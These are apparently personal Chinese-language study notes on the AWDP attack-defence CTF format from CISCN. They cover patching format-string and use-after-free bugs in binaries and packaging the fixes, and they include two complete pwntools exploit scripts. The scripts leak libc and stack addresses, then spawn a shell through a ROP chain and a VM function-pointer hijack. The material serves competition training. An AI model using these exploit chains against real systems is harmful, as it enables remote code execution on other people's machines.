AWDP赛制PWN速览
结合第十九届ciscn的awdp赛制
AWDP赛制PWN速览
awdp主要有fix和break两个环节,这里主要是讲解一下fix
TAR包打包与上传
tar包里一般是一个sh文件,然后就是一个题目附件
demo
#!/bin/sh
chmod +x wasmforge
mv -f wasmforge /home/ctf/wasmforge打包指令
tar -cf update.tar update这里打包的时候需要创建一个update的目录,把文件放在这个目录里面需要
通防
这个模式下通防是可能有用的
通防下载
git clone https://github.com/TTY-flag/evilPatchertest测试需要注意的点
32位环境的安装
sudo apt update
sudo apt install gcc-multilib libc6-dev-i386编译
sed -i 's/\r$//' compile.sh
./compile.sh通防使用指南
python3 evilPatcher.py \
test/hello64_nopie \
sandboxs/mini_sandbox.asm \
1fix
目录
D:\Users\Lenovo\Desktop\桌面整理_2026-05-20\06_下载附件与临时文件\桌面\2024cisccn\2024CISCN-决赛awdp-pwn类型一:格式化字符串漏洞
这里有个格式化漏洞
for ( n3 = 3; n3 > 0; --n3 )
{
printf("Now, you have %d times to tell me what is your favourite anime!\nwhat's your favourite anime: ", n3);
format = (char *)readline();
printf("your like ");
printf(format);
puts("!?\nI like it too!");
}
return 0;
}这里需要修一下这个函数
右键之后选择这个工具
把这里的汇编改改即可,对应的真实字节会连同一起修改
类型二:UAF
这里是有uaf
void __fastcall sub_1573(signed int n6)
{
if ( (unsigned int)n6 <= 6 && *((_QWORD *)&unk_A080 + n6) )
free(*((void **)&unk_A080 + n6));
else
puts("The index is not within the range");
}有两种修法,一种是压缩,一种是jmp
fix一:压缩
(一):汇编利用
这个在实战中好像不行,因为这个是清空寄存器的地址,而不是清空寄存器的解引用地址,也可以作为参考
我们只有这一块空间
.text:00000000000015B9
.text:00000000000015B9 loc_15B9:
.text:00000000000015B9 8B 45 FC mov eax, [rbp+var_4]
.text:00000000000015BC 48 98 cdqe
.text:00000000000015BE 48 8D 14 C5 00 00 00 00 lea rdx, ds:0[rax*8]
.text:00000000000015C6 48 8D 05 B3 8A 00 00 lea rax, unk_A080
.text:00000000000015CD 48 8B 04 02 mov rax, [rdx+rax]
.text:00000000000015D1 48 89 C7 mov rdi, rax ; ptr
.text:00000000000015D4 E8 87 FB FF FF call _free我们得进入这一块空间,绕过一段逻辑
考察的是对于汇编的理解,修的话是下面这样的
.text:00000000000015B9 movsxd rdx, [rbp+var_4]
.text:00000000000015BD lea rax, unk_A080
.text:00000000000015C4 xor edi, edi
.text:00000000000015C6 xchg rdi, qword ptr ds:dword_0[rax+rdx*8] ; ptr
.text:00000000000015CA call _free这里的lea是需要
lea rax, [rip + 0x8ABC]这里mov是需要,8字节
movsxd这里的xchg rdi, qword ptr ds:dword_0[rax+rdx*8] ; ptr,是需要
xchg rdi, [rax+rdx*8]这里的movsxd rdx, [rbp+var_4],是需要
movsxd rdx, dword ptr [rbp-4](二):弹栈
mov rax, qword ptr [rbp+var_4]
shl eax, 3
lea rdx, qword_A080
add rdx, rax
push rdx
mov rdi, [rdx]
call _free
pop rdx
mov [rdx], rdi
nop
nopfix二:jmp
call 0x1160补充快捷键
U:Undefine,取消当前数据或指令定义。
C:Make code,把现有机器码识别为指令。
N:Rename,给地址或函数重命名,也就是创建可读标签。
P:Create function,把当前位置定义成函数。
G:跳转到指定地址。
还需要改标志位
keypatch的话直接在call free那里改就行
这里会自动打上标签
CISCN
pwn03
这个是一个结构体
ptr
size原先代码
取chunk的地址
.text:0000000000400E15 mov eax, [rbp+var_4]
.text:0000000000400E18 cdqe
.text:0000000000400E1A shl rax, 4
.text:0000000000400E1E add rax, 602120h
.text:0000000000400E24 mov rax, [rax]
.text:0000000000400E27 mov rdi, rax ; ptr
.text:0000000000400E2A call _free
.text:0000000000400E2F mov edi, offset aCancelled ; "cancelled"
.text:0000000000400E34 call _putsfix
用的弹栈
mov eax, [rbp+index]
shl eax, 4
add rax, 602120h
push rax ; ptr
mov rdi, [rax] ; ptr
call _free
pop rax
lea edi, [rax]
xor edi, edi
mov edi, offset aCancelled ; "cancelled"
call _putsbreak
有个uaf,索引充足
2.37,没有沙盒
打栈劫持最后执行即可
#!/usr/bin/python3
from pwn import *
context(log_level="debug",os="linux",arch="amd64")
pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: io.sendline(x)
s = lambda x: io.send(x)
rt = lambda x: io.recvuntil(x)
ru = lambda x: u64(io.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(io.recv(x),16)
it = lambda : io.interactive()
file_name = './houseofsnake_plus'
#io = process(file_name)
#gdb.attach(io)
#pause()
io = remote('192.168.18.25',8888)
elf = ELF(file_name)
libc = ELF("./libc.so.6")
def cd(choose):
rt(">>")
sl(str(choose))
def add(idx,size):
cd(1)
rt("index:")
sl(str(idx))
rt("size:")
sl(str(size))
def edit(idx,size,content):
cd(4)
rt("index:")
sl(str(idx))
rt("length:")
sl(str(size))
s(content)
def free(idx):
cd(2)
rt("index:")
sl(str(idx))
def show(idx):
cd(3)
rt("index:")
sl(str(idx))
add(0,0x410)
add(1,0x410)
add(2,0x410)
add(3,0x410)
free(0)
free(2)
show(0)
libc.address = ru(8) - 0x1cbce0
heap = ru(8)
pr(libc.address)
pr(heap)
free(1)
free(3)
add(4,0x80)
add(5,0x80)
free(4)
free(5)
addr = 0x602120 ^ ((heap-0x7a0) >> 12)
edit(5,0x8,p64(addr))
add(6,0x80)
add(7,0x80)
edit(7,0x10,flat(libc.sym['environ'],0x8))
show(0)
stack = ru(8)
pr(stack)
pop_rdi = next(libc.search(asm("pop rdi;ret"),executable=True))
sh = next(libc.search("/bin/sh"))
system = libc.sym["system"]
ret = 0x400EDC
edit(7,0x10,flat(stack-0x190,0x200))
edit(0,0x20,flat(ret,pop_rdi,sh,system))
it()pwn02
目标代码
else if ( (int)__0 > 33 ) // 执行
{
if ( (_DWORD)__0 != '0' )
return __0;
pc_1 = pc;
_rip_ = pc + 1;
num1 = *(_BYTE *)(length + pc_1);
v10 = rd16((unsigned __int16 *)(length + _rip_));
zero = _rip_ + 2;
(*(void (__fastcall **)(__int64))(code_base + 8 * (num1 + 128LL)))(v10 + code_base);// 函数指针调用
}fix
改一下数值,改成120就能过
break
执行逻辑错误,一开始执行puts泄露栈地址,后面直接execve获取shell即可
#!/usr/bin/python3
from pwn import *
context(log_level="debug",os="linux",arch="amd64")
pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: io.sendline(x)
s = lambda x: io.send(x)
rt = lambda x: io.recvuntil(x)
ru = lambda x: u64(io.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(io.recv(x),16)
it = lambda : io.interactive()
io = process('./tinywasm_jail')
gdb.attach(io,"b *0x401205")
pause()
#p = remote("192.168.18.27",8888)
p = remote("localhost",8888)
elf = ELF(file_name)
libc = elf.libc
def cd(choose):
rt(">>")
sl(str(choose))
def mov64_addr_reg(a_idx,r_idx):
pay = p8(33)+p16(a_idx)+p8(r_idx)
return pay
def exec(f_idx,a_idx):
pay = p8(48)+p8(f_idx)+p16(a_idx)
return pay
def write64_reg(idx,data):
pay = p8(16)+p8(idx)+(data)
return pay
def mov64_reg_addr(r_idx,a_idx):
pay = p8(32)+p8(r_idx)+p16(a_idx)
return pay
#gdb.attach(io,"b *0x401205")
#pause()
cd(1)
pause()
pay = exec(0,0x400)
rt("size:")
sl(str(len(pay)))
rt("hex:")
s(pay.hex())
libc.address = ru(6) - 0x875a0
pr(libc.address)
cd(1)
pay = (
write64_reg(0, p64(libc.sym['system'])) +
write64_reg(1, b'/bin/sh\0') +
mov64_addr_reg(0x400, 0) +
mov64_addr_reg(0, 1) +
exec(0, 0)
)
rt("size:")
print(len(pay))
sl(str(32))
pause()
rt("hex:")
s(pay.hex())
it()